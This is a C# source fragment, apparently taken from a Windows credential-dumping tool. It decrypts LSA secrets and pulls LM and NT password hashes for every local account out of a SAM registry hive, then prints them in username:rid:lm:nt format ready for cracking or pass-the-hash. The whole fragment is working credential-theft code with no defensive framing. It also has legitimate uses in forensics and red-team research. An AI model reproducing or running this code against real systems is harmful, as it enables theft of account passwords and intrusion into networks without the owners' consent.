private static byte[] DumpSecret(NodeKey secret, byte[] lsaKey)
{
NodeKey secretCurrVal = secret.ChildNodes.Find(x => x.Name.Contains("CurrVal"));
byte[] value = secretCurrVal.getChildValues("Default");
LsaSecret record = new LsaSecret(value);
byte[] tempKey = Crypto.ComputeSha256(lsaKey, record.data.Take(32).ToArray());
byte[] dataVal2 = record.data.Skip(32).Take(record.data.Length - 32).ToArray();
byte[] plaintext = Crypto.DecryptAES_ECB(dataVal2, tempKey);
return(plaintext);
}
public static List <string> ParseSam(byte[] bootKey, RegistryHive sam)
{
List <string> retVal = new List <string>
{
" [*] SAM hashes"
};
try
{
NodeKey nk = GetNodeKey(sam, @"SAM\Domains\Account");
byte[] fVal = nk.getChildValues("F");
byte[] hashedBootKey = GetHashedBootKey(bootKey, fVal);
NodeKey targetNode = nk.ChildNodes.Find(x => x.Name.Contains("Users"));
byte[] antpassword = Encoding.ASCII.GetBytes("NTPASSWORD\0");
byte[] almpassword = Encoding.ASCII.GetBytes("LMPASSWORD\0");
foreach (NodeKey user in targetNode.ChildNodes.Where(x => x.Name.Contains("00000")))
{
byte[] rid = BitConverter.GetBytes(System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber));
byte[] v = user.getChildValues("V");
int offset = BitConverter.ToInt32(v, 12) + 204;
int length = BitConverter.ToInt32(v, 16);
string username = Encoding.Unicode.GetString(v.Skip(offset).Take(length).ToArray());
//there are 204 bytes of headers / flags prior to data in the encrypted key data structure
int lmHashOffset = BitConverter.ToInt32(v, 156) + 204;
int lmHashLength = BitConverter.ToInt32(v, 160);
int ntHashOffset = BitConverter.ToInt32(v, 168) + 204;
int ntHashLength = BitConverter.ToInt32(v, 172);
string lmHash = "aad3b435b51404eeaad3b435b51404ee";
string ntHash = "31d6cfe0d16ae931b73c59d7e0c089c0";
//old style hashes
if (v[ntHashOffset + 2].Equals(0x01))
{
IEnumerable <byte> lmKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(almpassword);
byte[] lmHashDecryptionKey = MD5.Create().ComputeHash(lmKeyParts.ToArray());
IEnumerable <byte> ntKeyParts = hashedBootKey.Take(16).ToArray().Concat(rid).Concat(antpassword);
byte[] ntHashDecryptionKey = MD5.Create().ComputeHash(ntKeyParts.ToArray());
byte[] encryptedLmHash = null;
byte[] encryptedNtHash = null;
if (ntHashLength == 20)
{
encryptedNtHash = v.Skip(ntHashOffset + 4).Take(16).ToArray();
byte[] obfuscatedNtHashTESTING = Crypto.RC4Encrypt(ntHashDecryptionKey, encryptedNtHash);
ntHash = Crypto.DecryptSingleHash(obfuscatedNtHashTESTING, user.Name).Replace("-", "");
}
if (lmHashLength == 20)
{
encryptedLmHash = v.Skip(lmHashOffset + 4).Take(16).ToArray();
byte[] obfuscatedLmHashTESTING = Crypto.RC4Encrypt(lmHashDecryptionKey, encryptedLmHash);
lmHash = Crypto.DecryptSingleHash(obfuscatedLmHashTESTING, user.Name).Replace("-", "");
}
}
//new-style hashes
else
{
byte[] enc_LM_Hash = v.Skip(lmHashOffset).Take(lmHashLength).ToArray();
byte[] lmData = enc_LM_Hash.Skip(24).ToArray();
//if a hash exists, otherwise we have to return the default string val
if (lmData.Length > 0)
{
byte[] lmHashSalt = enc_LM_Hash.Skip(8).Take(16).ToArray();
byte[] desEncryptedHash = Crypto.DecryptAES_CBC(lmData, hashedBootKey.Take(16).ToArray(), lmHashSalt).Take(16).ToArray();
lmHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
}
byte[] enc_NT_Hash = v.Skip(ntHashOffset).Take(ntHashLength).ToArray();
byte[] ntData = enc_NT_Hash.Skip(24).ToArray();
//if a hash exists, otherwise we have to return the default string val
if (ntData.Length > 0)
{
byte[] ntHashSalt = enc_NT_Hash.Skip(8).Take(16).ToArray();
byte[] desEncryptedHash = Crypto.DecryptAES_CBC(ntData, hashedBootKey.Take(16).ToArray(), ntHashSalt).Take(16).ToArray();
ntHash = Crypto.DecryptSingleHash(desEncryptedHash, user.Name).Replace("-", "");
}
}
string ridStr = System.Int32.Parse(user.Name, System.Globalization.NumberStyles.HexNumber).ToString();
string hashes = (lmHash + ":" + ntHash);
retVal.Add(string.Format("{0}:{1}:{2}", username, ridStr, hashes.ToLower()));
}
}
catch (Exception e)
{
retVal.Add("[-] Error parsing SAM dump file: " + e.ToString());
}
return(retVal);
}